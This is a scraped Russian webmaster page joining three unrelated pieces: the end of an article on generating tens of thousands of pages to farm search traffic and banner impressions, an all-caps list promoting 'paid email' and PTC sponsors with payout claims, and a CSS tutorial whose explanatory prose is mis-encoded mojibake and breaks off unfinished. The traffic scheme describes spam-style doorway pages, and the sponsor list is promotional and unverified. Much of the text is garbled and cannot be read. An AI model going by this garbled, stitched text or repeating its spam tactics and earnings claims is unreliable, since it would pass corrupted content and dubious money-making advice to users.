Траффик ожидается по следующим причинам: На 1000 проиндексированных не оптимизированных страниц приходится 30-40 посетителей с поисковых систем. Страницы будут содержать элементы оптимизации, следовательно можно рассчитывать на большее количество посетителей. Не трудно посчитать, что, имея сайт с 10.000 страниц, ежедневно можно ожидать более 300 уникальных посетителей с поисковых систем. Если таких сайтов сделано 10, то суммарный трафик составит более 3000 уникальных посетителей. Предположим, каждый пользователь просматривает 2 страницы, на каждой странице 3 баннера, следовательно, ежедневно откручивается 18.000 баннерных показов. Т.е. за 1 месяц вы сможете накопить более 540.000 баннерных показов, без учета комиссии баннерной сети. Эти показы можно будет потратить на рекламу главного сайта.

В итоге мы получили неплохие цифры. Но какой ценой! Представьте себе, что нужно сделать 100.000 страниц и еще добиться индексации их поисковыми системами. Это ОЧЕНЬ трудно. Задачу можно облегчить при использовании имеющейся БД каких-нибудь текстов и специального программного обеспечения. Сразу говорю: у меня этого нет, так что не просите :).

Вот такой метод, если вы чувствуете в себе силы и думаете,что можете это осуществить, то вперед. Удачи!


САМЫЕ ЛУЧШИЕ ПОЧТОВЫЕ СПОНСОРЫ

1.CASHDELIGHT

ЭТОТ СПОНСОР СУЩЕСТВУЕТ БОЛЕЕ ГОДА, И ЭТО ВРЕМЯ ВСЕГДА ПЛАТИЛ БЕЗ ЗАДЕРЖЕК, КАЖДЫЙ ДЕНЬ ВЫ БУДЕТЕ ПОЛУЧАТЬ 5-15 ПИСЕМ ПО 0.5 И 1 ЦЕНТУ, ОГРОМНАЯ PTC-СЕКЦИЯ - БОЛЕЕ 20 ЦЕНТОВ КАЖДЫЙ ДЕНЬ, ТАК ЖЕ ПРИСУТСТВУЮТ ПОИНТЫ, ИХ ВЫ СМОЖЕТЕ ОБМЕНЯТЬ НА ДЕНЬГИ, ИЗХОДЯ ИЗ ЭТОГО МИНИМАЛКУ В $35 МОЖНО БУДЕТ НАБРАТЬ ЗА 3 МЕСЯЦА

2.MISTYANDSAMSCASH

ЭТОМУ СПОНСОРУ ТАК ЖЕ БОЛЬШЕ ГОДА БОЛЕЕ ГОДА, НАЧАЛ БЫСТРО НАБИРАТЬ ПОЛЬЗОВАТЕЛЕЙ НЕДАВНО БЛАГОДОРЯ БОЛЬШОЙ СТОИМОСТИ ПИСЕМ И НЕ ОЧЕНЬ БОЛЬШОЙ МИНИМАЛКЕ - $10, В СРЕДНЕМ ШЛЕТ 5 ПИСЕМ В ДЕНЬ, В КАЖДОМ ПО 3 ПЛАТНЫХ ССЫЛКЕ

3.HILLBILLY-HANGOUT

С ПЕРВОГО ВЗГЛЯДА ОЧЕНЬ МНОГО ВСЕГО, НО ЕСЛИ РАЗОБРАТЬСЯ ТАК ДАЖЕ ЛУЧШЕ, ВЫБИРАЙТЕ ЧТО НУЖНО И КЛИКАЕТЕ, ОН ОТЛИЧАЕТСЯ НАЛИЧИЕМ БОЛЬШОГО КОЛИЧЕСТВА ПОИНТОВ, ЗА КОТОРЫЕ ВЫ СМОЖЕТЕ КУПИТЬ АПГРЕЙД ИЛИ ЗАКАЗАТЬ РЕКЛАМУ, ИМЕЕO 10 РЕФ. УРОВНЕЙ

4.EMAILORAMA

ПИСЕМ ШЛЕТ МАЛО, 1-2 В ДЕНЬ, НО ВСЕ ОНИ БОЛЕЕ 5 ЦЕНТОВ, ТУТ СТОИТ РЕГИСТРИРОВАТЬСЯ ЕСЛИ У ВАС ЕСТЬ ТЕРПЕНИЕ ДОБРАТЬСЯ ДО $50, ИЛИ СМОЖЕТЕ НАБРАТЬ РЕФЕРАЛОВ, ДЕНЬГИ ПОЛУЧАЛ 5 РАЗ, В СУММЕ БОЛЕЕ $300, ТАК ЖЕ НЕ ЗАБЫВАЙТЕ ПРО PTC И PTS СЕКЦИИ

5.HAULINGCASH

ЭТО САМЫЙ ЛУЧШИЙ СПОНСОР ДЛЯ ЛЮДЕЙ ИЗ SEARCH СТРАН, НУ А ЕСЛИ ВАМ НЕ РАЗРЕШЕННО ИСКАТЬ ТО ДО МИНИМАЛКИ В 5 БАКОВ ВАМ ПРИДЕТСЯ ДОБИРАТЬСЯ ПОДОЛЬШЕ, ЭТОГО СПОНА ОТЛИЧАЕТ ХОРОШАЯ РЕФ. СИСТЕМА, 89% В СУММЕ, И БЫСТРОТА ОПЛАТЫ ЗАКАЗАННЫХ ДЕНЕГ

6.MYTHICALYNN

ЧЕМ ДОЛЬШЕ ЖИВЕТ ЭТОТ СПОНСОР ТЕМ БОЛЬШЕ ОН ШЛЕТ ПИСЕМ, СЕЙЧАС ДО 10 В ДЕНЬ, ЭТИМ ПОЧТОВИКОМ ВЛАДЕЕТ ОЧЕНЬ ХОРАШАЯ ВМ LYNN КОТОРАЯ ТАК ЖЕ ВЛАДЕЕТ MYTHICALMAIL, ДЕНЬГИ ОТ ЭТОГО СПОНСОРА ПОЛУЧИЛ ДАЖЕ НЕ ЗАКАЗЫВАЯ ВЫПЛАТУ

7.MASTERPAIDEMAIL

ПОСЛЕДНИЙ СПОНСОР THEA, ОНА ТАК ЖЕ ВЛАДЕЕТ PAIDEXPLOSION, CRAZYFORCASH, BESTPAIDEMAIL, WISHFORMONEY, EARNCASH4EMAIL & HOTSHIVERMAIL, ВСЕ ЭТИ СПОНСОРЫ ПРОЦВЕТАЮТ И ИМЕЮТ ОГРОМНОЕ КОЛИЧЕСТВО МЕМБЕРОВ, ТАК ЧТО ПРИСОЕДИНЯЙТЕСЬ ПОКА ОН ЕЩЕ НОВЫЙ


Каскадные таблицы стилей - CSS
РПТХ ТБООЕЗП ЮБКОЙЮЕУФЧБ С ВЩЧБМП ТПЦБМ УФТБОЙЮЛЙ Ч 200-250 ЛВ (уФТБЫОП ЧУРПНОЙФШ :0)) Й НПЙ ЪОБЛПНЩЕ РТЙИПДС ОБ ФБЛПЕ "ФЧПТЮЕУФЧП ОБТПДПЧ УЕЧЕТБ" ДПМЗП НБФЕТЙМЙУШ: РПЮЕНХ ЧУЕ ФБЛ ФХЗП ЗТХЪЙФУС, Б ОЕМШЪС МЙ ЛБЛ-ФП ХНЕОШЫЙФШ ФЕ НОПЗПЬФБЦОЩЕ ЛПОУФТХЛГЙЙ, ЛБЛЙНЙ ВЩМЙ НПЙ РЕТЧЩЕ УБКФЩ. лБЛ ПЛБЪБМПУШ, ОЕЛПФПТПЕ ЧТЕНС УРХУФС, ЛЕН-ФП ХНОЩН ВЩМБ РТЙДХНБОБ УРЕГЙБМШОБС ЖЙЮБ, ОБЪЧБООБС "лБУЛБДОЩЕ ФБВМЙГЩ УФЙМЕК", Ч ОБТПДЕ CSS, ЙМЙ РТПУФП "УФЙМЙ".
рП УХФЙ УЧПЕК УФЙМЙ - ЬФП РТЙУЧПЕОЙЕ ЗТХРРЕ ЬМЕНЕОФПЧ, РТПНБТЛЙТПЧБООЩИ РП ФЙРХ ЙМЙ РТЙУЧПЕООПНХ ПВПЪОБЮЕОЙА ("ЙНЕОЙ"), ЛБЛЙИ МЙВП УМПЦОЩИ РБТБНЕФТПЧ, ПРЙУБОЙЕ ЛПФПТЩИ ДМС ЛБЦДПЗП ЙЪ ЬФЙИ ЬМЕНЕОФПЧ ХФСЦЕМСЕФ УФТБОЙЮЛХ ДПОЕМШЪС... дБ Й НХФПТОП ПОП..
ч ПВЭЕН, РТПРЙУБЧ ЛБЛПНХ-МЙВП ЬМЕНЕОФХ уфймш, НЩ НПЦЕН ЧРПУМЕДУФЧЙЙ, ЙНЕС ИПФШ УФП ФБЛЙИ ЬМЕНЕОФПЧ, РПНЕОСФШ ЧЙД ЛБЦДПЗП Ч ФЕЮЕОЙЕ ВХЛЧБМШОП РБТЩ НЙОХФ, ЙЪНЕОЙЧ ЙИ уфймш Ч ПДОПН ЕДЙОУФЧЕООПН ЖБКМЕ.

 рТЙНЕТОПЕ УПДЕТЦБОЙЕ ФБЛПЗП ЧЩОПУОПЗП ЖБКМБ УФЙМС:

A:link {COLOR: #666666; TEXT-DECORATION: none}
A:visited {COLOR: #666666; TEXT-DECORATION: none}
A:active {COLOR: #666666; TEXT-DECORATION: none}
A:hover {COLOR: #666666; TEXT-DECORATION: underline}
BODY {margin="5"; SCROLLBAR-FACE-COLOR: #FFFFFF; FONT-WEIGHT: normal; BACKGROUND: #FBFBFB; SCROLLBAR-HIGHLIGHT-COLOR: #FFFFFF; SCROLLBAR-SHADOW-COLOR: #FFFFFF; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #AAAAAA; SCROLLBAR-ARROW-COLOR: #999999; SCROLLBAR-TRACK-COLOR: #EEEEEE; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; SCROLLBAR-DARKSHADOW-COLOR: #555555;}
TD {FONT-WEIGHT: normal; FONT-SIZE: 11pt; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif}
DIV {FONT-WEIGHT: normal; FONT-SIZE: 11pt; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif}
P {FONT-WEIGHT: normal; FONT-SIZE: 11pt; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif}
.small {FONT-SIZE: 10pt; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif}
.large {FONT-WEIGHT: bold; FONT-SIZE: 11pt; FONT-FAMILY: Arial, Helvetica, sans-serif}
.navigation {BACKGROUND: #FFFFFF}
.navigationcell {BACKGROUND: #FFFFFF}
.micro {FONT-SIZE: 7pt; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif}
.z1 {FONT-SIZE: 8pt; COLOR=#999999; FONT-WEIGHT: bold; text-align: center}
.t3 {FONT-SIZE: 8pt; }
.link {FONT-SIZE: 12; FONT-STYLE: italic}
.txt {text-indent: 8pt; text-align: justify}
.com {text-indent: 10pt; FONT-STYLE: italic; text-align: justify; FONT-SIZE: 10}
.t: link {COLOR: #777777;FONT-WEIGHT: bold;}
.t: visited {COLOR: #777777; FONT-WEIGHT: bold; TEXT-DECORATION: none;}
.t: active {COLOR: gray; FONT-WEIGHT: bold; TEXT-DECORATION: none;}
.t: hover {COLOR: black; FONT-WEIGHT: bold; TEXT-DECORATION: none;
FILTER: dropShadow(Color=white,OffX=1,OffY=1,Positive=2 ); HEIGHT: 10

чПФ ФБЛБС ЖЙЮБ РТЙНЕТОП ПВЕУРЕЮЙЧБЕФ УБКФХ ФПФ ЧЙД, Ч ЛПЕН ЧЩ ЕЗП ОБВМАДБЕФЕ :0)

тБЪМПЦЙН РП ЛЙТРЙЮЙЛБН... й ОБЮОЕН УП УУЩМПЛ:

A:link {COLOR: #666666; TEXT-DECORATION: none}
A:visited {COLOR: #666666; TEXT-DECORATION: none}
A:active {COLOR: #666666; TEXT-DECORATION: none}
A:hover {COLOR: #666666; TEXT-DECORATION: underline}

б: ЪДЕУШ ПЪОБЮБЕФ ЛМБУУ ЬМЕНЕОФПЧ, Ч HTML ОБЪЩЧБЕНЩИ "УУЩМЛЙ", ФП ЕУФШ ФЕЗЙ ЧЙДБ "<a href..."
link - ПВПЪОБЮЕОЙЕ МЙОЛБ Ч РПЛПЕ, ФБЛ УЛБЪБФШ, ЙУИПДОЩК ЧЙД, Ч ЛПФПТПН ПО РТЕДУФБЈФ, ЛПЗДБ НЩ ЧЙДЙН РБЗХ ФПМШЛП-ФПМШЛП РПУМЕ ЕЕ ЪБЗТХЪЛЙ.
{} Б ЧПФ РТПНЕЦ ФБЛЙИ УЛПВПЛ Ч CSS РТПРЙУЩЧБЕФУС РТЙУЧБЙЧБЕНЩК ЬМЕНЕОФХ УФЙМШ, ФП ЕУФШ РТБНЕФТЩ, ЛБЛЙЕ ВХДХФ БЧФПНБФЙЮЕУЛЙ РТЙУЧПЕОЩ ЧЩВТБООПНХ ЬМЕНЕОФХ.

фБЛ ЦЕ Х ОБУ ФХФ ЙНЕЕФУС ГЧЕФ МЙОЛБ - color:#666666 - ФП ЕУФШ ФЕНОП-УЕТЩК.
й ЕЭЕ ПДЙО НПНЕОФ: ЕУМЙ Ч ЛПДЕ УБНПК УФТБОЙЮЛЙ РЙЫЕФУС font color="", Ч ФП ЧТЕНС ЛБЛ Ч CSS - "color: ЙНС ГЧЕФБ;", ФПЮЛБ У ЪБРСФПК УФБЧЙФУС РПУМЕ ЛБЦДПЗП УЧПКУФЧБ Ч УРЙУЛЕ, ЕУМЙ РПУМЕ ОЕЗП ЙДЕФ ДТХЗПЕ УЧПКУФЧП. рПУМЕ РПУМЕДОЕЗП УФБЧЙФШ ОЕ ПВСЪБФЕМШОП, ОП Ч РТЙОГЙРЕ НПЦОП.
й ПЖПТНМЕОЙЕ ФЕЛУФБ - TEXT-DECORATION. рЙУБФШ ЬФП ЪБЗМБЧОЩНЙ, У ВПМШЫПК ВХЛЧЩ ЙМЙ УФТПЮОЩНЙ - УПЧЕТЫЕООП ТБЧОПЪОБЮОП. ъДЕУШ ОБРЙУБОП ЪБЗМБЧОЩНЙ ЙУЛМАЮЙФЕМШОП ДМС ЧЩТБЪЙФЕМШОПУФЙ Й ЪБНЕФОПУФЙ :0)
йФБЛ, Ч РБТБНЕФТЕ УЈН Х ОБУ ЪОБЮЙФУС "none" - ЬФП ПЪОБЮБЕФ, ЮФП ОБН ВТПДЙМЛБ РПЛБЦЕФ МЙОЛ Ч ЧЙДЕ РТПУФПЗП ФЕЛУФБ - ОЕ УЙОЕЗП, ЛБЛ РП ХНПМЮБОЙА, Й ВЕЪ ДХТБГЛПЗП ЬФПЗП РПДЮЕТЛЙЧБОЙС :0)

пРТЕДЕМЕОЙЕ "visited" - ПЖПТНЙФШ УУЩМЛХ ФПЮОП ФБЛ ЦЕ ЛБЛ Й РПУЕЭЕООЩЕ ХЦЕ УУЩМЛЙ. еУМЙ ЧЩ ЪБНЕЮБМЙ ТБОШЫЕ - ФП ПОЙ, РПУЕЭЕООЩЕ, РП ХНПМЮБОЙА ВТПДЙМЛБНЙ ПВПЪОБЮБАггБ ЛБЛ РПФЕНОЕЧЫЙЕ. б Х ОБУ ВХДЕФ ТБЧОППВТБЪОП. йВП - ОЕЖЙЗ...

йФБЛ: РЕТЧЩЕ ДЧЕ УФТПЛЙ ПРТЕДЕМЙМЙ ЧЙД, Ч ЛПФПТПН МЙОЛЙ ОБИПДСФУС РП ЙЪОБЮБМШОПНХ УПУФПСОЙА.
оП ЛБЛ ЧЩДЕМЙФШ ЙИ, ПВПЪОБЮЙФШ, ЮФП ЬФП ОЕ РТПУФП ФЕЛУФ, Б ЧУЕ ЦЕ УУЩМЛЙ?
дМС УЕЗП Х НЕОС РТПРЙУБОЩ УМЕДХАЭЙЕ ДЧЕ УФТПЮЛЙ:

A:active {COLOR: #666666; TEXT-DECORATION: none}

"БЛФЙЧ" - ЬФП ЕУФШ МЙОЛ, ЧЩДЕМЕООЩК НЩЫЛПК, ОП У ХВТБООЩН У ОЕЗП ЛХТУПТПН. еУМЙ РТЙУНБФТЙЧБМУС ЙОПЗДБ, ЧУМЕДУФЧЙЕ ЛТЙЧЩИ ТХЛ, НПЗ ЧЙДЕФШ ЬФБЛЙЕ РПЧЙУЫЙЕ ЧПЛТХЗ МЙОЛПЧ ЙМЙ ЛБТФЙОПЛ "ТБНПЮЛЙ" ЧЩДЕМЕОЙС - ЧПФ ЬФП ПОП Й ЕУФШ :0)
рП ЪДЕЫОЕНХ ПЖПТНМЕОЙА ПОП, ПРСФШ ЦЕ, ОЙЮЕН ОЕ ПФМЙЮБЕФУС ПФ РТЕДЩДХЭЙИ РБТБНЕФТПЧ, РПЬФПНХ Ч УБНПН ФЕЛУФЕ С ЕЗП ЧЩДЕМСА, ЛБЛ РТБЧЙМП, ЦЙТОЩН (<b>ЧПФ ФБЛ</b>).

Б ЧПФ ФТЕФШЕ...

A:hover {COLOR: #666666; TEXT-DECORATION: underline}
hover - ЕУМЙ НОЕ ОЕ ЙЪНЕОСЕФ УЛМЕТПЪ, "ИПЧЕТ" РЕТЕЧПДЙФУС ЛБЛ "РБТЕОЙЕ" (ОЕ НПЪЗПЧ, Б Ч ЧПЪДХИЕ!) :0)

ьФПФ РБТБНЕФТ ХЛБЪЩЧБЕФ ВТПДЙМЛЕ, ЛБЛ ПЖПТНЙФШ ЬФХ УУЩМЛХ РТЙ ЪБЧЙУБОЙЙ ОБ ОЕК ЛХТУПТБ. ъДЕУШ С ПУФБЧЙМ ЕК РЕТЧПОБЮБМШОЩК ГЧЕФ, Б ЧЩДЕМСФШ ТЕЫЙМ РПДЮЕТЛЙЧБОЙЕН. уМЕДХЕФ ФБЛЦЕ ПВТБФЙФШ ЧОЙНБОЙЕ ОБ ФП, ЮФП ФХФ ХЦЕ ЧНЕУФП "none" УФПЙФ "underline" - ЮФП, УПВУОП Й ЕУФШ ЬФП УБНПЕ "РПДЮЕТЛЙЧБОЙЕ" РТЙ ОБЧЕДЕОЙЙ ЛХТУПТБ.

ЬФЙНЙ ЮЕФЩТШНС УФТПЛБНЙ НЩ ТБЪПН ОБЪОБЮЙМЙ чуен УУЩМЛБН ОБ УФТБОЙЮЛЕ, Ч ЛПФПТХА ВХДЕФ ЧЛМАЮЕО ЬФПФ УФЙМШ, ПУПВЩК ЧОЕЫОЙК ЧЙД. ьФБ ОБУФТПКЛБ ЛБУБЕФУС чуеи УУЩМПЛ ЛБЛ ФБЛПЧЩИ.

Б РТЕДУФБЧШФЕ ФЕРЕТШ, ЮФП ВЩМП ВЩ, ЕУМЙ ВЩ ОБ ЛБЦДХА УУЩМЛХ РЙУБФШ ЧПФ ФБЛПЕ? Б УУЩМПЛ - 30, 40? ЬЛПОПНЙС Ч 40 ТБЪ! :0)_)

уНПФТЙН ДБМШЫЕ:
BODY
 {
margin="5";
SCROLLBAR-FACE-COLOR: #FFFFFF;
FONT-WEIGHT: normal;
BACKGROUND: #FBFBFB;
SCROLLBAR-HIGHLIGHT-COLOR: #FFFFFF;
SCROLLBAR-SHADOW-COLOR: #FFFFFF;
COLOR: #666666;
SCROLLBAR-3DLIGHT-COLOR: #AAAAAA;
SCROLLBAR-ARROW-COLOR: #999999;
SCROLLBAR-TRACK-COLOR: #EEEEEE;
FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; SCROLLBAR-DARKSHADOW-COLOR: #555555;
}

BODY - ЬФП "ФХЫЛБ УФТБОЙЮЛЙ".
ч ОЕК НПЦОП РПЙЪДЕЧБггБ ОБД УЛТПММВБТПН (ДМС ФЕИ, ЛФП Ч ФБОЛЕ: ФБЛБС ЖЙЮБ УРТБЧБ РП ЧЕТФЙЛБМЙ, ЪБ ЛПФПТПХА НПЦОП ФСЗБФШ ЧЧЕТИ-ЧОЙЪ, РТПНБФЩЧБС ОЕ ХНЕЭБАЭЕЕУС ОБ ЬЛТБОЕ :0))

ч ДБООПН ЧБТЙБОФЕ Х НЕОС ОБРЙУБОП:
margin="5"; - ЬФП ПФУФХР Ч 5 РЙИЕМЕК ПФ ЛТБС ВТПДЙМЛЙ (РП ХНПМЮБОЙА ЗПТБЪДП ВПМШЫЕ). еУМЙ ПФУФХР ЧППВЭЕ ОЕ ОХЦЕО - УФБЧЙН ЪОБЮЕОЙЕ "ОПМШ":0)

SCROLLBAR-FACE-COLOR: #FFFFFF;
НПТДБ МЙГБ УЛТПММВБТБ. фП ЕУФШ ТБУЛТБЫЙЧБЕФ УБНХА ВПМШЫХА РПЧЕТИОПУФШ ЪБДБООЩН ГЧЕФПН. х НЕОС ЬФП - Ч ФПО УФТБОЙГЕ

SCROLLBAR-HIGHLIGHT-COLOR: #FFFFFF;
ЬФП ВМЙЛ ОБ РПМЪХОЛЕ Й ЛХВЙЛБИ УП УФТЕМЛБНЙ

SCROLLBAR-SHADOW-COLOR: #FFFFFF;
ЬФП "ФЕОШ" - РТПДПМЦЕОЙЕ "ВМЙЛБ", (ФП ЦЕ УБНПЕ, ФПМШЛП ОЙЦОСС ЗТБОШ Й РТБЧБС)

COLOR: #666666;
ЬФП ГЧЕФ ЧППВЭЕ...

SCROLLBAR-3DLIGHT-COLOR: #AAAAAA;
ЬФП ФПОАУЕОШЛБС ЛБЕНПЮЛБ ЧПЛТХЗ ЛБЦДПК ДЕФБМШЛЙ

SCROLLBAR-ARROW-COLOR: #999999;
ГЧЕФ ФТЕХЗПМШОЩИ УФТЕМПЛ ЧЧЕТИХ Й ЧОЙЪХ МЙОЕКЛЙ

SCROLLBAR-DARKSHADOW-COLOR: #555555;}
ЗМХВПЛБС ЮЕТОБС ФЕОШ-ЛПОФХТ

SCROLLBAR-TRACK-COLOR: #EEEEEE;
ГЧЕФ ДПТПЦЛЙ..

 чПФ УПВУФЧЕООП Й ЧУЕ. фБЛЙН ЧПФ ОЕИЙФТЩН ЙЪЧТБФПН Й ЛТБУСФ Ч ТБЪОЩЕ ГЧЕФБ УЛТПММЩ УФТБОЙЮЕЛ :0) рТБЧДБ, ТБВПФБЕФ ЬФП ФПМШЛП Ч ЬЛУРМПТЕТЕ.

уНПФТЙН ДБМЕЕ:
FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif;
ЬФП ПВПЪОБЮБЕФ РПУМЕДПЧБФЕМШОПУФШ ЫТЙЖФПЧ, ЛПЙНЙ ПФПВТБЦБЕФУС ЛПОФЕОФ УБКФБ. еУМЙ ОЕФХ РЕТЧПЗП, ФП ВТПДЙМЛБ ЙУРПМШЪХЕФ ЧФПТПК. еУМЙ ОЕФ ЧФПТПЗП - ФП ФТЕФЙК. оХ Б ЕУМЙ Й ЮЕФЧЕТФПЗП ОЕФХ, ФП ЬФП МЙОХЛУПЙД ВЕЪ ЛЙТЙММЙЮЕУЛЙИ ЫТЙЖФПЧ РТЙРЕТУС, ОХ ЕЗП МЕУПН.. ;0)

ФЕРЕТШ СЮЕКЛЙ ФБВМЙГ:
TD {FONT-WEIGHT: normal; FONT-SIZE: 11pt; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif}
ЮФП ФБЛПЕ фд, С ОБДЕАУШ, ЧЩ ХЦЕ ЪБРПНОЙМЙ, Б ЕУМЙ ОЕФ - РТЙДЕФУС РЕТЕЮЙФБФШ ЧУЕ РТП ФБВМЙГЩ У УБНПЗП ОБЮБМБ.
йФБЛ... ЪДЕУШ РТПРЙУБОП - FONT-WEIGHT: normal; - ЫТЙЖФ ОПТНБМШОПК ФПМЭЙОЩ.
FONT-SIZE: 11pt; - ТБЪНЕТ ЫТЙЖФБ. пВТБФЙФШ ЧОЙНБОЙЕ ОБ "pt" - ЬФП ОЕ Ч РЙИЕМБИ! ЬФП Ч рхолфби. иПФС ПУПВП ЛТЙФЙЮОЩИ ТБЪОЙГ ФХФ ОЕФ, РТПУФП ДТХЗЙЕ ЕДЙОЙГЩ ЙЪНЕТЕОЙС..
фХФ НПЦОП УФБЧЙФШ Й РТПУФП ГЙЖТХ ВЕЪ РТЙРЙУЛЙ Ч ЛБЛЙИ ПОП ЕДЙОЙГБИ. фПЗДБ ГЙЖТБ УТБВПФБЕФ ЛБЛ ТБЪНЕТ ПФОПУЙФЕМШОЩК Й РПЪЧПМЙФ АЪЧЕТА ОЕВТЕЦОЩН ДЧЙЦЕОЙЕН НЩЫЛЙ РП НБУЫФБВЙТХЕНПУФЙ ВТПДЙМЛЙ ЙУРПТФЙФШ ОБЫ ЧЕМЙЛЙК ДЙЪЙЗО ОБЖЙЗ. б ЬФП ОЕ ЕУФШ ЗХФ... рПУЕНХ ОЙ РТПГЕОФПЧ (ДБ, НПЦОП Й РТПГЕОФБНЙ!), ОЙ УЧПВПДОЩИ ТБЪТСДПЧ ПФ -7 ДП РТПУФП 7 УФБЧЙФШ ОЕ ТЕЛПНЕОДХА. йМЙ, ЕУМЙ ФЩ ХЦ ОБУФПМШЛП ЛТХФПК ЙЪЧТБЭЕОЕГ, УФБЧЙФШ ОБДП ЧЕЪДЕ, Б РПФПН ДПМЗП Й НХФПТОП ДЧЙЗБФШ НБУЫФБВОПУФШ, ОБУМБЦДБСУШ, ЛБЛ ФЧПА УФТБОЙЮЛХ НПТЭЙФ Й РМАЭЙФ РП ЧУЕН БВЪБГБН %0)

оХ Й, ОБЛПОЕГ, ЬФП:
FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif}
ЬФП Х ОБУ ПЪОБЮБЕФ ФПЦЕ, ЮФП Ч УБНПК РБЗЕ "йНС ЫТЙЖФБ".
фПМШЛП ФХФ РЕТЕЮЙУМЕОП, ОБ ЧУСЛЙК РПЦБТОЩК УМХЮБК, БЦ ЮЕФЩТЕ ЫТЙЖФБ, ВПМЕЕ ЙМЙ НЕОЕЕ УРПУПВОЩИ ЪБНЕОСФШУС ОЕ УЙМШОП РПТФС ДЙЪЙЗО. ъБЮЕН ЬФП ОБДП? оБ УМХЮБК, ЕУМЙ ОБ ЧБЫ ИПНСЛ* ЪБВТЕДЕФ ЛБЛПЕ-ОЙВХДШ ЙОФЕММЕЛФХБМШОПЕ ХВПЦЕУФЧП, ХНХДТЙЧЫЕЕУС ХЗТПВЙФШ Х УЕВС ОБ ЛПНРЕ чЕТДБОХ Й бТЙБМ. иПФС ЬФЙ ДЧБ ЫТЙЖФБ ЧПЧУА ПВЩЮОП ЙУРПМШЪХАФУС чЙОДПК Й чЈТДПН ДБ Й НОПЗЙНЙ ДТХЗЙНЙ РТПЗБНЙ. пОЙ УБНЩЕ ХДПВОЩЕ Й МЕЗЛПЮЙФБЕНЩЕ, РПУЕНХ - РТБЛФЙЮЕУЛЙ ОЕЪБНЕОЙНЩЕ. фБЛ ЧПФ, ЕУМЙ ЧУЕ ЦЕ Х ЛБЛПЗП-ОЙВХДШ НХДБЛБ ОЕ ПЛБЦЕФУС ЬФЙИ ЫТЙЖФПЧ, ФП РБЗБ РПЛБЦЕФ ЕНХ ФП, ЮФП РТПРЙУБОП ДБМШЫЕ - иЕМШЧЕФЙЛХ ЙМЙ уБО-уЕТЙЖ :0) еУМЙ Й ЬФПЗП Х ОЕЗП ОЕФ, ФП ВТПДЙМЛБ РПЛБЦЕФ ЕНХ, ЮФП ФБН Х ОЕЗП УФПЙФ Й РХУФШ ПО ЬФЙН РПРЕТИОЕггБ.. :0)

 ьФЙН БВЪБГЕН НЩ РТПРЙУБМЙ, ЮФП чеуш ФЕЛУФ ОБ РБЗЕ ПФТБЦБЕггБ 11-Н ТБЪНЕТПН ЫТЙЖФПН, ПДОЙН ЙЪ ХЛБЪБООЩИ ФБН, ЧЩЫЕ.

еДЕН ДБМШЫЕ:
DIV {FONT-WEIGHT: normal; FONT-SIZE: 11pt; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif}
ЬФП ПВТЕЪБОЩК ФЕЗ УМПС, ЛПФПТЩК НПЦОП ЙУРПМШЪПЧБФШ ДМС ПВПЪОБЮЕОЙС ЧЩДЕМЕОЙС ПРТЕДЕМЕООПЗП ХЮБУФЛБ ФБВМЙГЩ ЙМЙ ФЕЛУФБ. оХ - ЧПФ, РПМПЦЙН, ОЕ ОБДП НОЕ ЧЕУШ ФЕЛУФ ОБ УФТБОЙЮЛЕ ПДОППВТБЪОЩН - ИПЮХ ЛХУПЛ ЛБЛПЗП-ОЙФШ ЙЪЧТБФОПЗП ГЧЕФБ Й ЧЙДБ... ЪБЛМАЮБЕН ЕЗП Ч ФЕЗ DIV Й ОБЪОБЮБЕН ПРТЕДЕМЕООЩЕ РБТБНЕФТЩ. рПМХЮБЕН ЧЩДЕМЕОЙЕ БВЪБГБ :0)
оБ ДБООЩК НПНЕОФ ПО УПЧЕТЫЕООП ЙДЕОФЙЮЕО ПУОПЧОПНХ ФЕЛУФХ.
б ЧПФ ФБЛ РЙЫЕФУС РБТБЗТБЖ. пО Й ПВПЪОБЮБЕФУС РТПУФП ВХЛЧПК P.

P {FONT-WEIGHT: normal; FONT-SIZE: 11pt; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif}
 ч ОЕН Х ОБУ ПРСФШ ЦЕ УПЧЕТЫЕООП ЙДЕОФЙЮОЩЕ РБТБНЕФТЩ. оП ЕУМЙ ЪБДБФШ ЙОЩЕ, ФП ЧУЕ РБТБЗТБЖЩ УФБОХФ ЧЩЗМСДЕФШ ОЕ ФБЛ ЛБЛ ФЕЛУФ ПУОПЧОПК УФТБОЙЮЛЙ. уМЕДХЕФ РПНОЙФШ, ЮФП ЧУЕ РБТБЗТБЖЩ, ЛБЛ РТБЧЙМП, ЧЩДЕМЕОЩ ОЕЛПФПТЩН ПФУФХРПН УЧЕТИХ Й УОЙЪХ ПФ ПУФБМШОПЗП ФЕЛУФБ. ьФП МЕЗЛП РПРТБЧЙНП, ОП ПВ ЬФПН РПЪЦЕ.

йФБЛ, НЩ ЪБДБМЙ РБТБНЕФТЩ ПФПВТБЦЕОЙС ЧУЕН ПУОПЧОЩН ЬМЕНЕОФБН:

фЕЛУФХ,
уУЩМЛБН,
фБВМЙГБН,
вМПЛБН Й
рБТБЗТБЖБН .

оП ЮФП ДЕМБФШ, ЕУМЙ ОБДП ЛБЛПК-ФП НБИПОШЛЙК БВЪБГ УДЕМБФШ ОЕ ФБЛЙН, ЛБЛ ПУФБМШОЩЕ БВЪБГЩ? юФП ДЕМБФШ ЕУМЙ ПДЙО ЙМЙ ДЧБ ЙМЙ ВПМШЫЕ ЬМЕНЕОФПЧ ДПМЦОП ЙНЕФШ ПФДЕМШОЩК ПФ ВПМШЫЙОУФЧБ ЧЙД? чПЪЙФШУС У РБТБЗТБЖПН ФХФ ОЕХНЕУФОП :0)

фХФ НПЦОП ЧЩЛТХФЙФШУС ФБЛЙН ПВТБЪПН:
ОБЮБМП ОПЧПЗП УФЙМС ПВПЪОБЮБЕН ФПЮЛПК: .
Б ЪБ ОЕК УТБЪХ ЧРЙУЩЧБЕН ЙНС ОБЫЕЗП ПУПВПЗП УФЙМС. чМПЦЕООПЗП, ФБЛ УЛБЪБФШ, ЛБУЛБДБ:

